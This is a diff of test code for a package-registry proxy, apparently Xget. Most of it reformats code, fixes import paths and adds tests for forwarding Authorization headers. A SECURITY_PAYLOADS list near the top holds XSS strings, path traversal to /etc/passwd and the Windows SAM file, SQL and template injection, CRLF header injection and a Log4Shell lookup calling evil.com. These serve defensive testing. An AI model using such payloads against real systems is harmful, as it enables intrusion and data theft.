wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
||||
},
|
||||
conda: {
|
||||
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
|
||||
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
|
||||
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Security test payloads
|
||||
*/
|
||||
export const SECURITY_PAYLOADS = {
|
||||
xss: [
|
||||
'<script>alert(1)</script>',
|
||||
'javascript:alert(1)',
|
||||
'"><script>alert(1)</script>',
|
||||
"';alert(1);//"
|
||||
],
|
||||
pathTraversal: [
|
||||
'../../../etc/passwd',
|
||||
'..%2F..%2F..%2Fetc%2Fpasswd',
|
||||
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||
],
|
||||
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
|
||||
headerInjection: [
|
||||
'value\r\nX-Injected: malicious',
|
||||
'value\nX-Injected: malicious',
|
||||
'value\r\n\r\n<script>alert(1)</script>'
|
||||
]
|
||||
};
|
||||
|
||||
/**
|
||||
* Performance test utilities
|
||||
*/
|
||||
export class PerformanceTestHelper {
|
||||
constructor() {
|
||||
this.measurements = [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Measure execution time of an async function
|
||||
* @param {Function} fn - Async function to measure
|
||||
* @param {string} name - Measurement name
|
||||
* @returns {Promise<any>} Function result
|
||||
*/
|
||||
async measure(fn, name = 'operation') {
|
||||
const start = performance.now();
|
||||
const result = await fn();
|
||||
const end = performance.now();
|
||||
|
||||
this.measurements.push({
|
||||
name,
|
||||
duration: end - start,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all measurements
|
||||
* @returns {Array} Array of measurements
|
||||
*/
|
||||
getMeasurements() {
|
||||
return [...this.measurements];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get average duration for a specific measurement name
|
||||
* @param {string} name - Measurement name
|
||||
* @returns {number} Average duration in milliseconds
|
||||
*/
|
||||
getAverageDuration(name) {
|
||||
const filtered = this.measurements.filter(m => m.name === name);
|
||||
if (filtered.length === 0) return 0;
|
||||
|
||||
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
||||
return total / filtered.length;
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear all measurements
|
||||
*/
|
||||
clear() {
|
||||
this.measurements = [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mock fetch function for testing
|
||||
* @param {string} url - Request URL
|
||||
* @param {Object} options - Fetch options
|
||||
* @returns {Promise<Response>} Mock response
|
||||
*/
|
||||
export function mockFetch(url, options = {}) {
|
||||
// Simulate network delay
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => {
|
||||
if (url.includes('error')) {
|
||||
resolve(createMockResponse('Server Error', { status: 500 }));
|
||||
} else if (url.includes('notfound')) {
|
||||
resolve(createMockResponse('Not Found', { status: 404 }));
|
||||
} else {
|
||||
resolve(createMockResponse('Mock Response', { status: 200 }));
|
||||
}
|
||||
}, 10);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock npm registry response
|
||||
* @param {string} packageName - Package name
|
||||
* @param {string} version - Package version
|
||||
* @returns {Object} Mock npm registry response
|
||||
*/
|
||||
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
|
||||
return {
|
||||
name: packageName,
|
||||
versions: {
|
||||
[version]: {
|
||||
name: packageName,
|
||||
version: version,
|
||||
dist: {
|
||||
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
|
||||
shasum: 'mock-shasum',
|
||||
integrity: 'mock-integrity'
|
||||
}
|
||||
}
|
||||
},
|
||||
'dist-tags': {
|
||||
latest: version
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate response headers for security
|
||||
* @param {Response} response - Response to validate
|
||||
* @returns {Object} Validation results
|
||||
*/
|
||||
export function validateSecurityHeaders(response) {
|
||||
const requiredHeaders = [
|
||||
'Strict-Transport-Security',
|
||||
'X-Frame-Options',
|
||||
'X-XSS-Protection',
|
||||
'Content-Security-Policy',
|
||||
'Referrer-Policy'
|
||||
];
|
||||
|
||||
const results = {
|
||||
passed: true,
|
||||
missing: [],
|
||||
present: []
|
||||
};
|
||||
|
||||
requiredHeaders.forEach(header => {
|
||||
if (response.headers.has(header)) {
|
||||
results.present.push(header);
|
||||
} else {
|
||||
results.missing.push(header);
|
||||
results.passed = false;
|
||||
}
|
||||
});
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate random test data
|
||||
*/
|
||||
export const TestDataGenerator = {
|
||||
/**
|
||||
* Generate random string
|
||||
* @param {number} length - String length
|
||||
* @returns {string} Random string
|
||||
*/
|
||||
randomString(length = 10) {
|
||||
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
let result = '';
|
||||
for (let i = 0; i < length; i++) {
|
||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
/**
|
||||
* Generate random GitHub repository path
|
||||
* @returns {string} Repository path
|
||||
*/
|
||||
githubRepo() {
|
||||
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
|
||||
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
|
||||
const user = users[Math.floor(Math.random() * users.length)];
|
||||
const repo = repos[Math.floor(Math.random() * repos.length)];
|
||||
return `${user}/${repo}`;
|
||||
},
|
||||
|
||||
/**
|
||||
* Generate random file path
|
||||
* @returns {string} File path
|
||||
*/
|
||||
filePath() {
|
||||
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
|
||||
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
|
||||
const dir = dirs[Math.floor(Math.random() * dirs.length)];
|
||||
const file = files[Math.floor(Math.random() * files.length)];
|
||||
return `${dir}/${file}`;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Test timeout helper
|
||||
* @param {number} ms - Timeout in milliseconds
|
||||
* @returns {Promise} Promise that rejects after timeout
|
||||
*/
|
||||
export function timeout(ms) {
|
||||
return new Promise((_, reject) => {
|
||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Wait for a specified amount of time
|
||||
* @param {number} ms - Time to wait in milliseconds
|
||||
* @returns {Promise} Promise that resolves after the specified time
|
||||
*/
|
||||
export function wait(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
// Re-export everything from the new modular helpers
|
||||
export * from './index.js';
|
||||
+2
-2
@@ -176,7 +176,7 @@ describe('Xget Core Functionality', () => {
|
||||
|
||||
describe('Path Length Validation', () => {
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = '/gh/' + 'a'.repeat(3000);
|
||||
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
@@ -241,7 +241,7 @@ describe('Xget Core Functionality', () => {
|
||||
// Simulate the regex replacement that happens in the code
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
@@ -125,7 +125,7 @@ describe('Integration Tests', () => {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/vnd.git-lfs+json',
|
||||
'Accept': 'application/vnd.git-lfs+json',
|
||||
Accept: 'application/vnd.git-lfs+json',
|
||||
'User-Agent': 'git-lfs/3.0.0'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
@@ -143,11 +143,12 @@ describe('Integration Tests', () => {
|
||||
});
|
||||
|
||||
it('should handle LFS object download requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
|
||||
const testUrl =
|
||||
'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0',
|
||||
'Accept': 'application/octet-stream'
|
||||
Accept: 'application/octet-stream'
|
||||
}
|
||||
});
|
||||
|
||||
@@ -160,7 +161,7 @@ describe('Integration Tests', () => {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0',
|
||||
'Accept': 'application/vnd.git-lfs+json',
|
||||
Accept: 'application/vnd.git-lfs+json',
|
||||
'Content-Type': 'application/vnd.git-lfs+json'
|
||||
},
|
||||
body: '{}'
|
||||
@@ -438,4 +439,72 @@ describe('Integration Tests', () => {
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Authentication Header Forwarding', () => {
|
||||
it('should forward Authorization header for Hugging Face requests', async () => {
|
||||
// Test with a Hugging Face dataset file that would require authentication
|
||||
const testUrl = 'https://example.com/hf/datasets/test/private-dataset/resolve/main/data.csv';
|
||||
const authToken = 'Bearer hf_test_token_12345';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
});
|
||||
|
||||
// Should accept the request (not 400 bad request)
|
||||
expect(response.status).not.toBe(400);
|
||||
// Should attempt to proxy to HF with auth (status depends on actual HF response)
|
||||
expect([200, 401, 403, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should forward Authorization header for GitHub API requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/private-repo/README.md';
|
||||
const authToken = 'Bearer ghp_test_token_12345';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
});
|
||||
|
||||
// Should accept the request and forward the auth header
|
||||
expect(response.status).not.toBe(400);
|
||||
expect([200, 401, 403, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should forward Authorization header for PyPI authenticated requests', async () => {
|
||||
const testUrl = 'https://example.com/pypi/simple/private-package/';
|
||||
const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
});
|
||||
|
||||
// Should accept the request
|
||||
expect(response.status).not.toBe(400);
|
||||
expect([200, 401, 403, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should work with gated Hugging Face models', async () => {
|
||||
// Simulate a request to a gated model that requires authentication
|
||||
const testUrl = 'https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json';
|
||||
const authToken = 'Bearer hf_authenticated_token';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
});
|
||||
|
||||
// Should attempt to proxy with authentication
|
||||
// The actual status depends on whether the token is valid and the model exists
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -253,7 +253,8 @@ describe('Container Registry Support', () => {
|
||||
|
||||
it('should handle Docker Hub user images (namespace/image format)', async () => {
|
||||
// User images already have namespace prefix
|
||||
const testUrl = 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||
const testUrl =
|
||||
'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
@@ -265,29 +266,23 @@ describe('Container Registry Support', () => {
|
||||
});
|
||||
|
||||
it('should allow GET for Docker Hub manifest requests', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/cr/docker/v2/nginx/manifests/latest',
|
||||
{
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow HEAD for Docker Hub manifest requests', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/cr/docker/v2/nginx/manifests/latest',
|
||||
{
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORMS, transformPath } from '../src/config/platforms.js';
|
||||
import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||
|
||||
describe('CRAN Platform Configuration', () => {
|
||||
it('should have CRAN platform configured', () => {
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { transformPath } from '../src/config/platforms.js';
|
||||
import { transformPath } from '../../src/config/platforms.js';
|
||||
|
||||
describe('crates.io path transformation', () => {
|
||||
it('should transform crate download URLs correctly', () => {
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { transformPath } from '../src/config/platforms.js';
|
||||
import { transformPath } from '../../src/config/platforms.js';
|
||||
|
||||
describe('Homebrew path transformation', () => {
|
||||
describe('homebrew-api platform', () => {
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { transformPath } from '../src/config/platforms.js';
|
||||
import { transformPath } from '../../src/config/platforms.js';
|
||||
|
||||
describe('Jenkins Plugin Support', () => {
|
||||
describe('Update Center Transformations', () => {
|
||||
@@ -16,7 +16,7 @@ describe('npm URL Rewriting Fix', () => {
|
||||
// Simulate the regex replacement that happens in the code
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
@@ -41,7 +41,7 @@ describe('npm URL Rewriting Fix', () => {
|
||||
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
@@ -67,7 +67,7 @@ describe('npm URL Rewriting Fix', () => {
|
||||
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORMS, transformPath } from '../src/config/platforms.js';
|
||||
import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||
|
||||
describe('openSUSE Platform Configuration', () => {
|
||||
it('should have openSUSE platform configured', () => {
|
||||
+9
-257
@@ -1,117 +1,20 @@
|
||||
/**
|
||||
* Test setup and global configuration
|
||||
* Simplified version - only essential setup
|
||||
*/
|
||||
|
||||
import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest';
|
||||
|
||||
// Global test configuration
|
||||
const TEST_CONFIG = {
|
||||
timeout: 30000, // 30 seconds
|
||||
retries: 2,
|
||||
bail: false
|
||||
};
|
||||
|
||||
// Global test state
|
||||
let testStartTime;
|
||||
let testMetrics = {
|
||||
totalTests: 0,
|
||||
passedTests: 0,
|
||||
failedTests: 0,
|
||||
skippedTests: 0
|
||||
};
|
||||
import { beforeAll } from 'vitest';
|
||||
|
||||
/**
|
||||
* Global setup - runs once before all tests
|
||||
*/
|
||||
beforeAll(async () => {
|
||||
console.log('🚀 Starting Xget test suite...');
|
||||
testStartTime = Date.now();
|
||||
|
||||
// Initialize test environment
|
||||
await setupTestEnvironment();
|
||||
|
||||
// Verify test dependencies
|
||||
await verifyTestDependencies();
|
||||
|
||||
console.log('✅ Test environment initialized');
|
||||
});
|
||||
|
||||
/**
|
||||
* Global teardown - runs once after all tests
|
||||
*/
|
||||
afterAll(async () => {
|
||||
const duration = Date.now() - testStartTime;
|
||||
|
||||
console.log('\n📊 Test Suite Summary:');
|
||||
console.log(` Duration: ${duration}ms`);
|
||||
console.log(` Total: ${testMetrics.totalTests}`);
|
||||
console.log(` Passed: ${testMetrics.passedTests}`);
|
||||
console.log(` Failed: ${testMetrics.failedTests}`);
|
||||
console.log(` Skipped: ${testMetrics.skippedTests}`);
|
||||
|
||||
// Cleanup test environment
|
||||
await cleanupTestEnvironment();
|
||||
|
||||
console.log('🏁 Test suite completed');
|
||||
});
|
||||
|
||||
/**
|
||||
* Setup before each test
|
||||
*/
|
||||
beforeEach(async context => {
|
||||
testMetrics.totalTests++;
|
||||
|
||||
// Reset any global state
|
||||
resetGlobalState();
|
||||
|
||||
// Setup test-specific environment
|
||||
await setupTestCase(context);
|
||||
});
|
||||
|
||||
/**
|
||||
* Cleanup after each test
|
||||
*/
|
||||
afterEach(async context => {
|
||||
// Update test metrics based on result
|
||||
if (context.meta?.result === 'pass') {
|
||||
testMetrics.passedTests++;
|
||||
} else if (context.meta?.result === 'fail') {
|
||||
testMetrics.failedTests++;
|
||||
} else if (context.meta?.result === 'skip') {
|
||||
testMetrics.skippedTests++;
|
||||
}
|
||||
|
||||
// Cleanup test-specific resources
|
||||
await cleanupTestCase(context);
|
||||
});
|
||||
|
||||
/**
|
||||
* Setup test environment
|
||||
*/
|
||||
async function setupTestEnvironment() {
|
||||
// Verify Cloudflare Workers environment
|
||||
if (typeof globalThis.fetch === 'undefined') {
|
||||
throw new Error('fetch is not available in test environment');
|
||||
}
|
||||
|
||||
// Setup global test utilities
|
||||
globalThis.TEST_CONFIG = TEST_CONFIG;
|
||||
|
||||
// Initialize performance monitoring
|
||||
if (typeof performance === 'undefined') {
|
||||
globalThis.performance = {
|
||||
now: () => Date.now()
|
||||
};
|
||||
}
|
||||
|
||||
// Setup console overrides for testing
|
||||
setupConsoleOverrides();
|
||||
}
|
||||
|
||||
/**
|
||||
* Verify test dependencies
|
||||
*/
|
||||
async function verifyTestDependencies() {
|
||||
// Verify required Web APIs
|
||||
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
|
||||
|
||||
for (const global of requiredGlobals) {
|
||||
@@ -129,162 +32,11 @@ async function verifyTestDependencies() {
|
||||
} catch (error) {
|
||||
console.warn('Warning: Cloudflare Workers test environment not available');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Setup console overrides for testing
|
||||
*/
|
||||
function setupConsoleOverrides() {
|
||||
const originalConsole = { ...console };
|
||||
|
||||
// Store original console methods
|
||||
globalThis.originalConsole = originalConsole;
|
||||
|
||||
// Override console methods for testing
|
||||
console.warn = (...args) => {
|
||||
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
||||
originalConsole.warn(...args);
|
||||
}
|
||||
};
|
||||
|
||||
console.log = (...args) => {
|
||||
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
||||
originalConsole.log(...args);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset global state between tests
|
||||
*/
|
||||
function resetGlobalState() {
|
||||
// Clear any cached data
|
||||
if (globalThis.testCache) {
|
||||
globalThis.testCache.clear();
|
||||
// Setup performance API if not available
|
||||
if (typeof performance === 'undefined') {
|
||||
globalThis.performance = {
|
||||
now: () => Date.now()
|
||||
};
|
||||
}
|
||||
|
||||
// Reset performance counters
|
||||
if (globalThis.testPerformance) {
|
||||
globalThis.testPerformance.reset();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Setup individual test case
|
||||
*/
|
||||
async function setupTestCase(context) {
|
||||
// Create test-specific cache
|
||||
globalThis.testCache = new Map();
|
||||
|
||||
// Setup test-specific performance monitoring
|
||||
globalThis.testPerformance = {
|
||||
marks: new Map(),
|
||||
mark: name => {
|
||||
globalThis.testPerformance.marks.set(name, performance.now());
|
||||
},
|
||||
measure: (name, startMark, endMark) => {
|
||||
const start = globalThis.testPerformance.marks.get(startMark) || 0;
|
||||
const end = globalThis.testPerformance.marks.get(endMark) || performance.now();
|
||||
return end - start;
|
||||
},
|
||||
reset: () => {
|
||||
globalThis.testPerformance.marks.clear();
|
||||
}
|
||||
};
|
||||
|
||||
// Mark test start time
|
||||
globalThis.testPerformance.mark('test-start');
|
||||
}
|
||||
|
||||
/**
|
||||
* Cleanup individual test case
|
||||
*/
|
||||
async function cleanupTestCase(context) {
|
||||
// Mark test end time
|
||||
globalThis.testPerformance.mark('test-end');
|
||||
|
||||
// Log test performance if verbose
|
||||
if (process.env.VERBOSE_TESTS) {
|
||||
const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end');
|
||||
console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`);
|
||||
}
|
||||
|
||||
// Cleanup test-specific resources
|
||||
if (globalThis.testCache) {
|
||||
globalThis.testCache.clear();
|
||||
}
|
||||
|
||||
if (globalThis.testPerformance) {
|
||||
globalThis.testPerformance.reset();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Cleanup test environment
|
||||
*/
|
||||
async function cleanupTestEnvironment() {
|
||||
// Restore original console
|
||||
if (globalThis.originalConsole) {
|
||||
Object.assign(console, globalThis.originalConsole);
|
||||
delete globalThis.originalConsole;
|
||||
}
|
||||
|
||||
// Cleanup global test utilities
|
||||
delete globalThis.TEST_CONFIG;
|
||||
delete globalThis.testCache;
|
||||
delete globalThis.testPerformance;
|
||||
}
|
||||
|
||||
/**
|
||||
* Custom test utilities available globally
|
||||
*/
|
||||
globalThis.testUtils = {
|
||||
/**
|
||||
* Create a test timeout
|
||||
*/
|
||||
timeout: ms =>
|
||||
new Promise((_, reject) => {
|
||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||
}),
|
||||
|
||||
/**
|
||||
* Wait for a condition to be true
|
||||
*/
|
||||
waitFor: async (condition, timeout = 5000, interval = 100) => {
|
||||
const start = Date.now();
|
||||
|
||||
while (Date.now() - start < timeout) {
|
||||
if (await condition()) {
|
||||
return true;
|
||||
}
|
||||
await new Promise(resolve => setTimeout(resolve, interval));
|
||||
}
|
||||
|
||||
throw new Error(`Condition not met within ${timeout}ms`);
|
||||
},
|
||||
|
||||
/**
|
||||
* Retry a function with exponential backoff
|
||||
*/
|
||||
retry: async (fn, maxRetries = 3, baseDelay = 100) => {
|
||||
let lastError;
|
||||
|
||||
for (let i = 0; i < maxRetries; i++) {
|
||||
try {
|
||||
return await fn();
|
||||
} catch (error) {
|
||||
lastError = error;
|
||||
|
||||
if (i < maxRetries - 1) {
|
||||
const delay = baseDelay * Math.pow(2, i);
|
||||
await new Promise(resolve => setTimeout(resolve, delay));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
throw lastError;
|
||||
}
|
||||
};
|
||||
|
||||
// Export test configuration for use in other files
|
||||
export { TEST_CONFIG, testMetrics };
|
||||
});
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORMS, transformPath } from '../src/config/platforms.js';
|
||||
import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||
|
||||
describe('Platform Configuration', () => {
|
||||
describe('Platform Definitions', () => {
|
||||
@@ -52,9 +52,11 @@ function isGitLFSRequest(request, url) {
|
||||
// Check for LFS-specific headers
|
||||
const accept = request.headers.get('Accept') || '';
|
||||
const contentType = request.headers.get('Content-Type') || '';
|
||||
|
||||
if (accept.includes('application/vnd.git-lfs') ||
|
||||
contentType.includes('application/vnd.git-lfs')) {
|
||||
|
||||
if (
|
||||
accept.includes('application/vnd.git-lfs') ||
|
||||
contentType.includes('application/vnd.git-lfs')
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -184,7 +186,9 @@ describe('Utility Functions', () => {
|
||||
});
|
||||
|
||||
it('should identify LFS object storage requests by path', () => {
|
||||
const request = new Request('https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd');
|
||||
const request = new Request(
|
||||
'https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'
|
||||
);
|
||||
const url = new URL(request.url);
|
||||
|
||||
expect(isGitLFSRequest(request, url)).toBe(true);
|
||||
@@ -192,7 +196,7 @@ describe('Utility Functions', () => {
|
||||
|
||||
it('should identify LFS requests by Accept header', () => {
|
||||
const request = new Request('https://example.com/repo.git/objects/batch', {
|
||||
headers: { 'Accept': 'application/vnd.git-lfs+json' }
|
||||
headers: { Accept: 'application/vnd.git-lfs+json' }
|
||||
});
|
||||
const url = new URL(request.url);
|
||||
|
||||
@@ -278,7 +282,7 @@ describe('Utility Functions', () => {
|
||||
});
|
||||
|
||||
it('should reject extremely long paths', () => {
|
||||
const longPath = '/' + 'a'.repeat(3000);
|
||||
const longPath = `/${'a'.repeat(3000)}`;
|
||||
const request = new Request(`https://example.com${longPath}`);
|
||||
const url = new URL(request.url);
|
||||
|
||||
Reference in new issue
Block a user